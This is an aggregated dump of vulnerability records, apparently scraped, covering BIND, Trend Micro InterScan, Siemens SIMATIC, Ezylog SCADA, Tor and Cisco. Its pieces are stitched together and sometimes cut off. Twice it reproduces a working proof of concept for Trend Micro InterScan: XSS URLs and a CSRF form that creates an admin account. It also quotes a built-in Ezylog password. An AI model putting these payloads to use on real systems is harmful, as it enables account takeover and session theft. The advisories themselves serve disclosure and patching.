TCPIP Bind Services and OpenVMS TCPIP IPC Services for OpenVMS. These
vulnerabilities could be exploited remotely resulting in execution of code
with the privileges of Bind, disclosure of information, or cause a Denial of
Service (DoS).
References:
- CVE-2007-0493
- CVE-2007-0494
- CVE-2012-1667
- CVE-2012-5166
- CVE-2012-4244
- CVE-2009-4022
- CVE-2010-0097
- CVE-2008-0122
- PSRT110022
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP OpenVMS TCPIP Services V 5.7 ECO5 BIND
BACKGROUND
CVSS 2.0 Base Metrics
===========================================================
Reference Base Vector Base Score
CVE-2007-0493 (AV:N/AC:L/Au:N/C:N/I:N/A:C) 7.8
CVE-2007-0494 (AV:N/AC:M/Au:N/C:N/I:N/A:P) 4.3
CVE-2012-1667 (AV:N/AC:L/Au:N/C:P/I:N/A:C) 8.5
CVE-2012-5166 (AV:N/AC:L/Au:N/C:N/I:N/A:C) 7.8
CVE-2012-4244 (AV:N/AC:L/Au:N/C:N/I:N/A:C) 7.8
CVE-2009-4022 (AV:N/AC:H/Au:N/C:N/I:P/A:N) 2.6
CVE-2010-0097 (AV:N/AC:M/Au:N/C:N/I:P/A:N) 4.3
CVE-2008-0122 (AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0
===========================================================
Information on CVSS is documented
in HP Customer Notice: HPSN-2008-002
RESOLUTION
HPE has made the following patch kits available to resolve the
vulnerabilities with the OpenVMS TCPIP Bind Services and OpenVMS TCPIP IPC
Services for OpenVMS
| Platform | Patch Kit Name |
|-----------------------|---------------------------------------|
| Alpha OpenVMS V8.4 | DEC-AXPVMS-TCPIP_CVE_PAT-V0507-ECO5-4 |
| ITANIUM OpenVMS V8.4 | HP-I64VMS-TCPIP_CVE_PAT-V0507-ECO5-4 |
**Notes:**
- For CVE-2008-0122, please contact HPE OpenVMS support to request patch
kit TCPIP$IPC_SHR (V5.7-ECO5B) that is now available after the above patch
release.
- Please read the release notes of these kits for more information
including other features that are provided.
HISTORY
Version:1 (rev.1) - 28 January 2016 Initial release
Third Party Security Patches: Third party security patches that are to be
installed on systems running Hewlett Packard Enterprise (HPE) software
products should be applied in accordance with the customer's patch management
policy.
Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HPE Services support channel. For other issues about
the content of this Security Bulletin, send e-mail to security-alert@hpe.com.
Report: To report a potential security vulnerability with any HPE supported
product, send Email to: security-alert@hpe.com
Subscribe: To initiate a subscription to receive future HPE Security Bulletin
alerts via Email: http://www.hpe.com/support/Subscriber_Choice
Security Bulletin Archive: A list of recently released Security Bulletins is
available here: http://www.hpe.com/support/Security_Bulletin_Archive
Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.
3C = 3COM
3P = 3rd Party Software
GN = HPE General Software
HF = HPE Hardware and Firmware
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PV = ProCurve
ST = Storage Software
UX = HP-UX
Copyright 2016 Hewlett Packard Enterprise
Hewlett Packard Enterprise shall not be liable for technical or editorial
errors or omissions contained herein. The information provided is provided
"as is" without warranty of any kind. To the extent permitted by law, neither
HP or its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits; damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration. The
information in this document is subject to change without notice. Hewlett
Packard Enterprise and the names of Hewlett Packard Enterprise products
referenced herein are trademarks of Hewlett Packard Enterprise in the United
States and other countries. Other product and company names mentioned herein
may be trademarks of their respective owners.
For the stable distribution (squeeze), this problem has been fixed in
version 1:9.7.3.dfsg-1~squeeze8. ============================================================================
Ubuntu Security Notice USN-1601-1
October 10, 2012
bind9 vulnerability
============================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 12.04 LTS
- Ubuntu 11.10
- Ubuntu 11.04
- Ubuntu 10.04 LTS
- Ubuntu 8.04 LTS
Summary:
Bind could be made to crash if it received specially crafted network
traffic.
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 12.04 LTS:
bind9 1:9.8.1.dfsg.P1-4ubuntu0.4
Ubuntu 11.10:
bind9 1:9.7.3.dfsg-1ubuntu4.5
Ubuntu 11.04:
bind9 1:9.7.3.dfsg-1ubuntu2.7
Ubuntu 10.04 LTS:
bind9 1:9.7.0.dfsg.P1-1ubuntu0.8
Ubuntu 8.04 LTS:
bind9 1:9.4.2.dfsg.P2-2ubuntu0.12
In general, a standard system update will make all the necessary changes.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-dns/bind < 9.9.4_p2 >= 9.9.4_p2
Description
===========
Multiple vulnerabilities have been discovered in BIND. Please review
the CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All BIND users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-dns/bind-9.9.4_p2"
References
==========
[ 1 ] CVE-2012-5166
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-5166
[ 2 ] CVE-2012-5688
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-5688
[ 3 ] CVE-2012-5689
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-5689
[ 4 ] CVE-2013-2266
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-2266
[ 5 ] CVE-2013-3919
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-3919
[ 6 ] CVE-2013-4854
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2013-4854
[ 7 ] CVE-2014-0591
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-0591
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201401-34.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2014 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
| VAR-201209-0238 | CVE-2012-2996 | Trend Micro InterScan Messaging Security Suite is vulnerable to XSS and CSRF vulnerabilities |
CVSS V2: 6.8 CVSS V3: - Severity: Medium |
Cross-site request forgery (CSRF) vulnerability in saveAccountSubTab.imss in Trend Micro InterScan Messaging Security Suite 7.1-Build_Win32_1394 allows remote attackers to hijack the authentication of administrators for requests that create admin accounts via a saveAuth action. A cross-site scripting vulnerability.
2. An HTML-injection vulnerability.
3. A cross-site request-forgery vulnerability.
An attacker can exploit these issues to steal cookie-based authentication credentials, to perform unauthorized actions in the context of a user's session, or to disclose sensitive-information. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Trend Micro InterScan Messaging Security Suite Cross-Site Scripting
and Request Forgery
SECUNIA ADVISORY ID:
SA50620
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50620/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50620
RELEASE DATE:
2012-09-17
DISCUSS ADVISORY:
http://secunia.com/advisories/50620/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50620/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50620
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Two vulnerabilities have been reported in Trend Micro InterScan
Messaging Security Suite, which can be exploited by malicious people
to conduct cross-site scripting and request forgery attacks.
1) The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the
requests. This can be exploited to e.g. create an arbitrary user with
administrative privileges if a logged-in administrative user visits a
malicious web site
2) Input passed to the "src" parameter in initUpdSchPage.imss is not
properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.
The vulnerabilities are reported in version 7.1-Build_Win32_1394.
Other versions may also be affected.
SOLUTION:
No official solution is currently available.
PROVIDED AND/OR DISCOVERED BY:
US-CERT credits Tom Gregory.
ORIGINAL ADVISORY:
http://www.kb.cert.org/vuls/id/471364
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. # Exploit Title: Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF
# Date: 13/09/2012
# Exploit Author: modpr0be (modpr0be[at]spentera.com)
# Vendor Homepage: http://www.trendmicro.com
# Software Link: http://www.trendmicro.com/ftp/products/interscan/IMSS_v7.1_Win_1394.zip
# Version: 7.1-Build_Win32_1394
# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)
# CVE : CVE-2012-2995, CVE-2012-2996
# Software Description
# TrendMicro Interscan Messaging Security is the industry’s most comprehensive
# mail gateway security. Choose state-of-the-art software or a hybrid solution
# with on-premise virtual appliance and optional cloud pre-filter that blocks
# the vast majority of spam and malware outside your network. Plus our Data
# Privacy and Encryption Module secure outbound data to ensure privacy and
# regulatory compliance.
# Proof of Concept
# Persistent/Stored XSS
# this POC will store defined URL to white list URL page. Each time we access to this page, the XSS word
# will pop up to the user. You can change the alert message box to something nasty (e.g redirect to beef??)
hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss"><script>alert('XSS')</script>
# Non-persistent/Reflected XSS
# This is non-persistent XSS, you might lure target user to click this link :)
hxxps://127.0.0.1/initUpdSchPage.imss?src="><script>alert('XSS')</script>
# Cross-Site Request Forgery
# This POC should be targeted to user with admin privilege
# It will add admin user with user quorra, and password quorra.123
# Target victim must be authenticated when perform this POC
<html>
<body>
<form action="hxxps://127.0.0.1:8445/saveAccountSubTab.imss" method="POST">
<input type="hidden" name="enabled" value="on" />
<input type="hidden" name="authMethod" value="1" />
<input type="hidden" name="name" value="quorra" />
<input type="hidden" name="password" value="quorra.123" />
<input type="hidden" name="confirmPwd" value="quorra.123" />
<input type="hidden" name="tabAction" value="saveAuth" />
<input type="hidden" name="gotoTab" value="saveAll" />
<input type="submit" value="CSRF" />
</form>
</body>
</html>
# References
# http://www.spentera.com/advisories/2012/SPN-05-2012.html
# http://www.kb.cert.org/vuls/id/471364
# http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html
| VAR-201209-0227 | CVE-2012-3037 | Siemens SIMATIC Information Disclosure Vulnerability |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
The Siemens SIMATIC S7-1200 2.x PLC does not properly protect the private key of the SIMATIC CONTROLLER Certification Authority certificate, which allows remote attackers to spoof the S7-1200 web server by using this key to create a forged certificate. Siemens SIMATIC is an automation software in a single engineering environment. The Siemens SIMATIC S7-1200 has a security vulnerability. Because of the use of an SSL private key in multiple devices, an attacker can exploit the vulnerability to create his own integers, intercepting and decrypting communications by forging other SIMATIC S7-1200 devices and man-in-the-middle attacks. Siemens SIMATIC S7-1200 is prone to a security vulnerability that may allow attackers to spoof SSL certificates.
Attackers can exploit this issue to display incorrect SSL certificates. Successful exploits will cause victims to accept the certificates assuming they are from a legitimate site.
Siemens SIMATIC S7-1200 versions 2.x are vulnerable; other versions may also be affected. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Siemens SIMATIC S7-1200 SSL Private Key Reuse Security Issue
SECUNIA ADVISORY ID:
SA50630
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50630/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50630
RELEASE DATE:
2012-09-14
DISCUSS ADVISORY:
http://secunia.com/advisories/50630/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50630/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50630
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A security issue has been reported in Siemens SIMATIC S7-1200, which
can be exploited by malicious people to conduct spoofing attacks.
SOLUTION:
Upgrade to version 3.x.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits Dmitry Sklyarov, Positive Technologies.
ORIGINAL ADVISORY:
http://www.siemens.com/corporate-technology/pool/de/forschungsfelder/siemens_security_advisory_ssa-240718.pdf
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201209-0657 | No CVE | Ezylog photovoltaic management server Session Management Vulnerability |
CVSS V2: - CVSS V3: - Severity: MEDIUM |
Ezylog photovoltaic management server is a SCADA product. Ezylog photovoltaic management server's access to multiple pages (such as the \"ping.php\" script) failed to perform a proper authentication session check, and an attacker could exploit the vulnerability to gain unauthorized access to the administrative page
| VAR-201209-0658 | No CVE | Ezylog photovoltaic management server Built-in account vulnerability |
CVSS V2: - CVSS V3: - Severity: MEDIUM |
Ezylog photovoltaic management server is a SCADA product. Ezylog photovoltaic management server \"login.php\" will check the user authentication information, but the device has built-in authorization 2 (some settings are 3) accounts, these accounts have predefined passwords (such as the encrypted ciphertext is \"satIZufhIrUfk\", the corresponding string is \"36e44c9b64\") is built into the PHP file and cannot be changed or deleted by an attacker to gain unauthorized access to the device
| VAR-201209-0659 | No CVE | Ezylog photovoltaic management server SQL injection vulnerability |
CVSS V2: - CVSS V3: - Severity: HIGH |
Ezylog photovoltaic management server is a SCADA product. Ezylog photovoltaic management server \"dettagliinverter.php\" script incorrectly handles \"inverterselect\" GET parameter and \"changelanguagesession.php\" failed to properly handle \"lingua\" POST parameter, attackers can exploit vulnerabilities for SQL injection attacks, get database information or hijack User session
| VAR-201209-0660 | No CVE | Ezylog photovoltaic management server Command injection vulnerability |
CVSS V2: - CVSS V3: - Severity: HIGH |
Ezylog photovoltaic management server is a SCADA product. The Ezylog photovoltaic management server \"ping.php\" script failed to properly filter the \"ip_dominio\" POST parameter, allowing an attacker to exploit the vulnerability to execute arbitrary commands with administrator privileges
| VAR-201209-0237 | CVE-2012-2995 | Trend Micro InterScan Messaging Security Suite is vulnerable to XSS and CSRF vulnerabilities |
CVSS V2: 4.3 CVSS V3: - Severity: Medium |
Multiple cross-site scripting (XSS) vulnerabilities in Trend Micro InterScan Messaging Security Suite 7.1-Build_Win32_1394 allow remote attackers to inject arbitrary web script or HTML via (1) the wrsApprovedURL parameter to addRuleAttrWrsApproveUrl.imss or (2) the src parameter to initUpdSchPage.imss. A cross-site scripting vulnerability.
2. An HTML-injection vulnerability.
3. A cross-site request-forgery vulnerability.
An attacker can exploit these issues to steal cookie-based authentication credentials, to perform unauthorized actions in the context of a user's session, or to disclose sensitive-information. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Trend Micro InterScan Messaging Security Suite Cross-Site Scripting
and Request Forgery
SECUNIA ADVISORY ID:
SA50620
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50620/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50620
RELEASE DATE:
2012-09-17
DISCUSS ADVISORY:
http://secunia.com/advisories/50620/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50620/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50620
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Two vulnerabilities have been reported in Trend Micro InterScan
Messaging Security Suite, which can be exploited by malicious people
to conduct cross-site scripting and request forgery attacks.
1) The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the
requests. This can be exploited to e.g. create an arbitrary user with
administrative privileges if a logged-in administrative user visits a
malicious web site
2) Input passed to the "src" parameter in initUpdSchPage.imss is not
properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.
The vulnerabilities are reported in version 7.1-Build_Win32_1394.
Other versions may also be affected.
SOLUTION:
No official solution is currently available.
PROVIDED AND/OR DISCOVERED BY:
US-CERT credits Tom Gregory.
ORIGINAL ADVISORY:
http://www.kb.cert.org/vuls/id/471364
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
. # Exploit Title: Trend Micro InterScan Messaging Security Suite Stored XSS and CSRF
# Date: 13/09/2012
# Exploit Author: modpr0be (modpr0be[at]spentera.com)
# Vendor Homepage: http://www.trendmicro.com
# Software Link: http://www.trendmicro.com/ftp/products/interscan/IMSS_v7.1_Win_1394.zip
# Version: 7.1-Build_Win32_1394
# Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config)
# CVE : CVE-2012-2995, CVE-2012-2996
# Software Description
# TrendMicro Interscan Messaging Security is the industry’s most comprehensive
# mail gateway security. Choose state-of-the-art software or a hybrid solution
# with on-premise virtual appliance and optional cloud pre-filter that blocks
# the vast majority of spam and malware outside your network. Plus our Data
# Privacy and Encryption Module secure outbound data to ensure privacy and
# regulatory compliance.
# Proof of Concept
# Persistent/Stored XSS
# this POC will store defined URL to white list URL page. Each time we access to this page, the XSS word
# will pop up to the user. You can change the alert message box to something nasty (e.g redirect to beef??)
hxxps://127.0.0.1:8445/addRuleAttrWrsApproveUrl.imss?wrsApprovedURL=xssxss"><script>alert('XSS')</script>
# Non-persistent/Reflected XSS
# This is non-persistent XSS, you might lure target user to click this link :)
hxxps://127.0.0.1/initUpdSchPage.imss?src="><script>alert('XSS')</script>
# Cross-Site Request Forgery
# This POC should be targeted to user with admin privilege
# It will add admin user with user quorra, and password quorra.123
# Target victim must be authenticated when perform this POC
<html>
<body>
<form action="hxxps://127.0.0.1:8445/saveAccountSubTab.imss" method="POST">
<input type="hidden" name="enabled" value="on" />
<input type="hidden" name="authMethod" value="1" />
<input type="hidden" name="name" value="quorra" />
<input type="hidden" name="password" value="quorra.123" />
<input type="hidden" name="confirmPwd" value="quorra.123" />
<input type="hidden" name="tabAction" value="saveAuth" />
<input type="hidden" name="gotoTab" value="saveAll" />
<input type="submit" value="CSRF" />
</form>
</body>
</html>
# References
# http://www.spentera.com/advisories/2012/SPN-05-2012.html
# http://www.kb.cert.org/vuls/id/471364
# http://www.trendmicro.com/us/enterprise/network-security/interscan-message-security/index.html
| VAR-201209-0470 | CVE-2012-4922 | Tor of common/util.c Service disruption in (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The tor_timegm function in common/util.c in Tor before 0.2.2.39, and 0.2.3.x before 0.2.3.22-rc, does not properly validate time values, which allows remote attackers to cause a denial of service (assertion failure and daemon exit) via a malformed directory object, a different vulnerability than CVE-2012-4419. Tor (The Onion Router) is an implementation of the second generation of onion routing, which allows users to communicate anonymously over the Internet. Tor is prone to multiple denial-of-service vulnerabilities.
Exploiting these issues can allow attackers to crash the affected computer, denying service to legitimate users.
Versions prior to Tor 0.2.2.39 and 0.2.3.22-rc are vulnerable. The title and technical details have been changed to better reflect the underlying component affected. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 201301-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Severity: Normal
Title: Tor: Multiple vulnerabilities
Date: January 08, 2013
Bugs: #432188, #434882, #444804
ID: 201301-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Synopsis
========
Multiple vulnerabilities have been found in Tor, allowing attackers to
cause Denial of Service or obtain sensitive information.
Affected packages
=================
-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 net-misc/tor < 0.2.3.25 >= 0.2.3.25
Description
===========
Multiple vulnerabilities have been discovered in Tor. Please review the
CVE identifiers referenced below for details.
Workaround
==========
There is no known workaround at this time.
Resolution
==========
All Tor users should upgrade to the latest version:
# emerge --sync
# emerge --ask --oneshot --verbose ">=net-misc/tor-0.2.3.25"
References
==========
[ 1 ] CVE-2012-3517
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3517
[ 2 ] CVE-2012-3518
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3518
[ 3 ] CVE-2012-3519
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-3519
[ 4 ] CVE-2012-4419
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4419
[ 5 ] CVE-2012-4922
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-4922
[ 6 ] CVE-2012-5573
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-5573
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201301-03.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users' machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2013 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
| VAR-201209-0398 | CVE-2012-3935 | Cisco Unified Presence and Jabber Extensible Communications Platform Service disruption in (DoS) Vulnerabilities |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
Cisco Unified Presence (CUP) before 8.6(3) and Jabber Extensible Communications Platform (aka Jabber XCP) before 5.3 allow remote attackers to cause a denial of service (process crash) via a crafted XMPP stream header, aka Bug ID CSCtu32832.
Successful exploits will allow attackers to crash the Connection Manager process, denying service to legitimate users.
This issue is being tracked by the Cisco Bug ID CSCtu32832. ----------------------------------------------------------------------
The final version of the CSI 6.0 has been released.
Find out why this is not just another Patch Management solution: http://secunia.com/blog/325/
----------------------------------------------------------------------
TITLE:
Cisco Unified Presence / Jabber XCP Stream Header Handling Denial of
Service Vulnerability
SECUNIA ADVISORY ID:
SA50562
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50562/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50562
RELEASE DATE:
2012-09-13
DISCUSS ADVISORY:
http://secunia.com/advisories/50562/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50562/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50562
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A vulnerability has been reported in Cisco Unified Presence and Cisco
Jabber XCP, which can be exploited by malicious people to cause a DoS
(Denial of Service).
The vulnerability is caused due to an error within the Extensible
Messaging and Presence Protocol (XMPP) server when handling incoming
stream headers. This can be exploited to cause the Connection Manager
process to terminate via a specially crafted header.
* Jabber XCP versions prior to 5.3.
SOLUTION:
Update to a fixed version.
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20120912-cupxcp
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201209-0194 | CVE-2012-4629 | Cisco ASA-CX Context-Aware Security Modules and Prime Security Manager Service disruption in (DoS) Vulnerabilities |
CVSS V2: 7.8 CVSS V3: - Severity: HIGH |
The Cisco ASA-CX Context-Aware Security module before 9.0.2-103 for Adaptive Security Appliances (ASA) devices, and Prime Security Manager (aka PRSM) before 9.0.2-103, allows remote attackers to cause a denial of service (disk consumption and application hang) via unspecified IPv4 packets that trigger log entries, aka Bug ID CSCub70603.
An attacker can exploit this issue to cause the device to crash, denying service to legitimate users.
This issue is being tracked by the Cisco Bug ID CSCub70603
| VAR-201209-0412 | CVE-2012-4419 | Tor of or/policies.c Service disruption in (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
